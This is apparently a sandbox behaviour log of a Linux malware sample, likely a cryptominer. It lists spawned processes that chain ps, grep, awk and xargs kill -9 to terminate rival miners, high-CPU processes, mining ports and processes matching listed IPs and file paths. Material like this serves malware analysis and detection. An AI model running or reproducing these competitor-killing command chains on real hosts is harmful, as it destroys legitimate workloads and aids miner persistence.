/bin/grepgrep -v -2⤵PID:1771
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1770
-
-
/bin/grepgrep :84442⤵PID:1768
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1772
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1778
-
-
/bin/grepgrep -v -2⤵PID:1777
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1776
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1775
-
-
/bin/grepgrep :33472⤵PID:1774
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1784
-
-
/bin/grepgrep -v -2⤵PID:1783
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1782
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1781
-
-
/bin/grepgrep :144442⤵PID:1780
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1790
-
-
/bin/grepgrep -v -2⤵PID:1789
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1788
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1787
-
-
/bin/grepgrep :144332⤵PID:1786
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1796
-
-
/bin/grepgrep -v -2⤵PID:1795
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1794
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1793
-
-
/bin/grepgrep :135312⤵PID:1792
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1801
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1800
-
-
/bin/grepgrep -v grep2⤵PID:1799
-
-
/bin/grepgrep "sleep 60"2⤵PID:1798
-
-
/bin/psps aux2⤵PID:1797
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1806
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1805
-
-
/bin/grepgrep -v grep2⤵PID:1804
-
-
/bin/grepgrep ./crun2⤵PID:1803
-
-
/bin/psps aux2⤵PID:1802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1811
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:1810
-
-
/bin/grepgrep -v grep2⤵PID:1809
-
-
/bin/grepgrep -vw kdevtmpfsi2⤵PID:1808
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1807
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1816
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1815
-
-
/bin/grepgrep :33332⤵PID:1814
-
-
/bin/grepgrep -v grep2⤵PID:1813
-
-
/bin/psps aux2⤵PID:1812
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1821
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1820
-
-
/bin/grepgrep :55552⤵PID:1819
-
-
/bin/grepgrep -v grep2⤵PID:1818
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1817
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1826
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1825
-
-
/bin/psps aux2⤵PID:1822
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1824
-
-
/bin/grepgrep -v grep2⤵PID:1823
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1831
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1830
-
-
/bin/grepgrep log_2⤵PID:1829
-
-
/bin/grepgrep -v grep2⤵PID:1828
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1827
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1836
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1835
-
-
/bin/grepgrep systemten2⤵PID:1834
-
-
/bin/grepgrep -v grep2⤵PID:1833
-
-
/bin/psps aux2⤵PID:1832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1846
-
/usr/local/sbin/killkill -9 143⤵PID:1849
-
-
/usr/local/bin/killkill -9 143⤵PID:1849
-
-
/usr/sbin/killkill -9 143⤵PID:1849
-
-
/usr/bin/killkill -9 143⤵PID:1849
-
-
/sbin/killkill -9 143⤵PID:1849
-
-
/bin/killkill -9 143⤵PID:1849
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1845
-
-
/bin/grepgrep netns2⤵PID:1844
-
-
/bin/grepgrep -v grep2⤵PID:1843
-
-
/bin/psps aux2⤵PID:1842
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1854
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1853
-
-
/bin/grepgrep voltuned2⤵PID:1852
-
-
/bin/grepgrep -v grep2⤵PID:1851
-
-
/bin/psps aux2⤵PID:1850
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1860
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1859
-
-
/bin/grepgrep darwin2⤵PID:1858
-
-
/bin/grepgrep -v grep2⤵PID:1857
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1856
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1865
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1864
-
-
/bin/grepgrep /tmp/dl2⤵PID:1863
-
-
/bin/grepgrep -v grep2⤵PID:1862
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1861
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1870
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1869
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1868
-
-
/bin/grepgrep -v grep2⤵PID:1867
-
-
/bin/psps aux2⤵PID:1866
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1875
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1873
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1874
-
-
/bin/grepgrep -v grep2⤵PID:1872
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1871
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1880
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1878
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1879
-
-
/bin/psps aux2⤵PID:1876
-
-
/bin/grepgrep -v grep2⤵PID:1877
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1885
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1884
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1883
-
-
/bin/grepgrep -v grep2⤵PID:1882
-
-
/bin/psps aux2⤵PID:1881
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1890
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1889
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1888
-
-
/bin/grepgrep -v grep2⤵PID:1887
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1886
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1895
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1894
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1893
-
-
/bin/grepgrep -v grep2⤵PID:1892
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1891
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1900
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1899
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1898
-
-
/bin/grepgrep -v grep2⤵PID:1897
-
-
/bin/psps aux2⤵PID:1896
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1905
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1904
-
-
/bin/grepgrep 45.76.122.922⤵PID:1903
-
-
/bin/grepgrep -v grep2⤵PID:1902
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1901
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1910
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1909
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1908
-
-
/bin/grepgrep -v grep2⤵PID:1907
-
-
/bin/psps aux2⤵PID:1906
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1915
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1914
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1913
-
-
/bin/grepgrep -v grep2⤵PID:1912
-
-
/bin/psps aux2⤵PID:1911
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1920
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1919
-
-
/bin/grepgrep 86s.jpg2⤵PID:1918
-
-
/bin/grepgrep -v grep2⤵PID:1917
-
-
/bin/psps aux2⤵PID:1916
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1925
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1924
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1923
-
-
/bin/grepgrep -v grep2⤵PID:1922
-
-
/bin/psps aux2⤵PID:1921
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1930
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1929
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1928
-
-
/bin/grepgrep -v grep2⤵PID:1927
-
-
/bin/psps aux2⤵PID:1926
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1935
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1934
-
-
/bin/grepgrep PuNY5tm22⤵PID:1933
-
-
/bin/grepgrep -v grep2⤵PID:1932
-
-
/bin/psps aux2⤵PID:1931
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1939
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1938
-
-
/bin/grepgrep -v grep2⤵PID:1937
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1936
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1944
-
-
/bin/grepgrep AgdgACUD2⤵PID:1943
-
-
/bin/grepgrep -v grep2⤵PID:1942
-
-
/bin/psps aux2⤵PID:1941
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1949
-
-
/bin/grepgrep uiZvwxG82⤵PID:1948
-
-
/bin/grepgrep -v grep2⤵PID:1947
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1946
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1955
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1954
-
-
/bin/grepgrep hahwNEdB2⤵PID:1953
-
-
/bin/grepgrep -v grep2⤵PID:1952
-
-
/bin/psps aux2⤵PID:1951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1959
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1958
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1960
-
-
/bin/grepgrep -v grep2⤵PID:1957
-
-
/bin/psps aux2⤵PID:1956
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1965
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1964
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1963
-
-
/bin/grepgrep -v grep2⤵PID:1962
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1970
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1969
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1968
-
-
/bin/grepgrep -v grep2⤵PID:1967
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1966
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1975
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1974
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1973
-
-
/bin/grepgrep -v grep2⤵PID:1972
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1971
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1980
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1979
-
-
/bin/grepgrep zXcDajSs2⤵PID:1978
-
-
/bin/grepgrep -v grep2⤵PID:1977
-
-
/bin/psps aux2⤵PID:1976
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1985
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1984
-
-
/bin/grepgrep 3lmigMo2⤵PID:1983
-
-
/bin/grepgrep -v grep2⤵PID:1982
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1981
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1990
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1989
-
-
/bin/grepgrep AkMK4A22⤵PID:1988
-
-
/bin/grepgrep -v grep2⤵PID:1987
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1986
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1995
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1994
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1993
-
-
/bin/grepgrep -v grep2⤵PID:1992
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1991
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2000
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1999
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1998
-
-
/bin/grepgrep -v grep2⤵PID:1997
-
-
/bin/psps aux2⤵PID:1996
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2005
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2004
-
-
/bin/grepgrep http_0xCC0302⤵PID:2003
-
-
/bin/grepgrep -v grep2⤵PID:2002
-
-
/bin/psps aux2⤵PID:2001
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2010
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2009
-
-
/bin/grepgrep http_0xCC0312⤵PID:2008
-
-
/bin/grepgrep -v grep2⤵PID:2007
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:2006
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2015
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2014
-
-
/bin/grepgrep http_0xCC0322⤵PID:2013
-
-
/bin/grepgrep -v grep2⤵PID:2012
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2011
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2020
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2019
-
-
/bin/grepgrep http_0xCC0332⤵PID:2018
-
-
/bin/grepgrep -v grep2⤵PID:2017
-
-
/bin/psps aux2⤵PID:2016
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2024
-
-
/bin/grepgrep C4iLM4L2⤵PID:2023
-
-
/bin/grepgrep -v grep2⤵PID:2022
-
-
/bin/psps aux2⤵PID:2021
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2030
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:2028
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2029
-
-
/bin/grepgrep -v grep2⤵PID:2027
-
-
/bin/psps aux2⤵PID:2026
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2034
-
-
/bin/grepgrep -v grep2⤵PID:2032
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:2033
-
-
/bin/psps aux2⤵PID:2031
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2039
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2038
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:2037
-
-
/bin/grepgrep -v grep2⤵PID:2036
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2044
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2043
-
-
/bin/grepgrep i4b503a52cc52⤵PID:2042
-
-
/bin/grepgrep -v grep2⤵PID:2041
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2040
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2049
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2048
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:2047
-
-
/bin/grepgrep -v grep2⤵PID:2046
-
-
/bin/psps aux2⤵PID:2045
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2054
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2053
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:2052
-
-
/bin/grepgrep -v grep2⤵PID:2051
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2050
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2059
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2058
-
-
/bin/grepgrep nqscheduler2⤵PID:2057
-
-
/bin/grepgrep -v grep2⤵PID:2056
-
-
/bin/psps aux2⤵PID:2055
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2064
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2063
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:2062
-
-
/bin/grepgrep -v grep2⤵PID:2061
-
-
/bin/psps aux2⤵PID:2060
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2070
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:2069
-
-
/bin/grepgrep "]"2⤵PID:2068
-
-
/bin/grepgrep -v aux2⤵PID:2067
-
-
/bin/grepgrep -v grep2⤵PID:2066
-
-
/bin/psps aux2⤵PID:2065
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2074
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:2073
-
-
/bin/grepgrep -v grep2⤵PID:2072
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2071
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2080
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2079
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:2078
-
-
/bin/grepgrep -v grep2⤵PID:2077
-
-
/bin/psps aux2⤵PID:2076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2084
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:2083
-
-
/bin/grepgrep -v grep2⤵PID:2082
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2092
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:2091
-
-
/bin/grepgrep -v _2⤵PID:2090
-
-
/bin/grepgrep -v -2⤵PID:2089
-
-
/bin/grepgrep -v /2⤵PID:2088
-
-
/bin/grepgrep -v grep2⤵PID:2087
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2097
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2096
-
-
/bin/grepgrep "\\[^"2⤵PID:2095
-
-
/bin/grepgrep -v grep2⤵PID:2094
-
-
/bin/psps aux2⤵PID:2093
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2102
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2101
-
-
/bin/grepgrep rsync2⤵PID:2100
-
-
/bin/grepgrep -v grep2⤵PID:2099
-
-
/bin/psps aux2⤵PID:2098
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2107
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2106
-
-
/bin/grepgrep watchd0g2⤵PID:2105
-
-
/bin/grepgrep -v grep2⤵PID:2104
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2103
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2112
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2111
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/bin/grepgrep -v grep2⤵PID:2109
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:2110
-
-
/bin/psps aux2⤵PID:2108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2117
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2116
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:2115
-
-
/bin/grepgrep -v grep2⤵PID:2114
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2113
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2122
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2121
-
-
/bin/grepgrep /tmp/java2⤵PID:2120
-
-
/bin/grepgrep -v grep2⤵PID:2119
-
-
/bin/psps aux2⤵PID:2118
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2127
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2126
-
-
/bin/grepgrep gitee.com2⤵PID:2125
-
-
/bin/grepgrep -v grep2⤵PID:2124
-
-
/bin/psps aux2⤵PID:2123
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2132
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2131
-
-
/bin/grepgrep /tmp/java2⤵PID:2130
-
-
/bin/grepgrep -v grep2⤵PID:2129
-
-
/bin/psps aux2⤵PID:2128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2137
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2136
-
-
/bin/grepgrep 104.248.4.1622⤵PID:2135
-
-
/bin/grepgrep -v grep2⤵PID:2134
-
-
/bin/psps aux2⤵PID:2133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2141
-
-
/bin/grepgrep 89.35.39.782⤵PID:2140
-
-
/bin/grepgrep -v grep2⤵PID:2139
-
-
/bin/psps aux2⤵PID:2138
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2147
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2146
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:2145
-
-
/bin/grepgrep -v grep2⤵PID:2144
-
-
/bin/psps aux2⤵PID:2143
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2152
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2151
-
-
/bin/grepgrep kthrotlds2⤵PID:2150
-
-
/bin/grepgrep -v grep2⤵PID:2149
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:2148
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2157
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2156
-
-
/bin/grepgrep ksoftirqds2⤵PID:2155
-
-
/bin/grepgrep -v grep2⤵PID:2154
-
-
/bin/psps aux2⤵PID:2153
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2162
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2161
-
-
/bin/grepgrep netdns2⤵PID:2160
-
-
/bin/grepgrep -v grep2⤵PID:2159
-
-
/bin/psps aux2⤵PID:2158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2167
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2166
-
-
/bin/grepgrep watchdogs2⤵PID:2165
-
-
/bin/grepgrep -v grep2⤵PID:2164
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2163
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2178
-
-
/usr/bin/awkawk "\$3>80.0{print \$2}"2⤵PID:2177
-
-
/bin/grepgrep -v kdevtmpfsi2⤵PID:2176
-
-
/bin/grepgrep -v apache22⤵PID:2174
-
-
/bin/grepgrep -v atd2⤵PID:2175
-
-
/bin/grepgrep -v dblaunched2⤵PID:2173
-
-
/bin/grepgrep -v dblaunchs2⤵PID:2172
-
-
/bin/grepgrep -v dblaunch2⤵PID:2171
-
-
/bin/grepgrep -v root2⤵PID:2170
-
-
/bin/grepgrep -v grep2⤵PID:2169
-
-
/bin/psps aux2⤵PID:2168
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2184
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2183
-
-
/bin/grepgrep " ps"2⤵PID:2182
-
-
/bin/grepgrep -v aux2⤵PID:2181
-
-
/bin/grepgrep -v grep2⤵PID:2180
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:2179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2189
-
-
/usr/bin/cutcut -c 9-152⤵PID:2188
-
-
/bin/grepgrep sync_supers2⤵PID:2187
-
-
/bin/grepgrep -v grep2⤵PID:2186
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:2185
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2194
-
-
/usr/bin/cutcut -c 9-152⤵PID:2193
-
-
/bin/grepgrep cpuset2⤵PID:2192
-
-
/bin/grepgrep -v grep2⤵PID:2191
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:2190
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2200
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2199
-
-
/bin/grepgrep "x]"2⤵PID:2198
-
-
/bin/grepgrep -v aux2⤵PID:2197
-
-
/bin/grepgrep -v grep2⤵PID:2196
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:2195
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2206
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2205
-
-
/bin/grepgrep "sh] <"2⤵PID:2204
-
-
/bin/grepgrep -v aux2⤵PID:2203
-
-
/bin/grepgrep -v grep2⤵PID:2202
-
-
/bin/psps aux2⤵PID:2201
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2212
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2211
-
-
/bin/grepgrep " \\[]"2⤵PID:2210
-
-
/bin/grepgrep -v aux2⤵PID:2209
-
-
/bin/grepgrep -v grep2⤵PID:2208
-
-
/bin/psps aux2⤵PID:2207
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2217
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2216
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:2215
-
-
/bin/grepgrep -v grep2⤵PID:2214
-
-
/bin/psps aux2⤵PID:2213
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:2222
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2221
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:2220
-
-
/bin/grepgrep -v grep2⤵PID:2219
-
-
/bin/psps aux2⤵PID:2218
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2227
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:2226
-
-
/bin/grepgrep hahwNEdB2⤵PID:2225
-
-
/bin/grepgrep -v grep2⤵PID:2224
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:2223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:2232
-
-
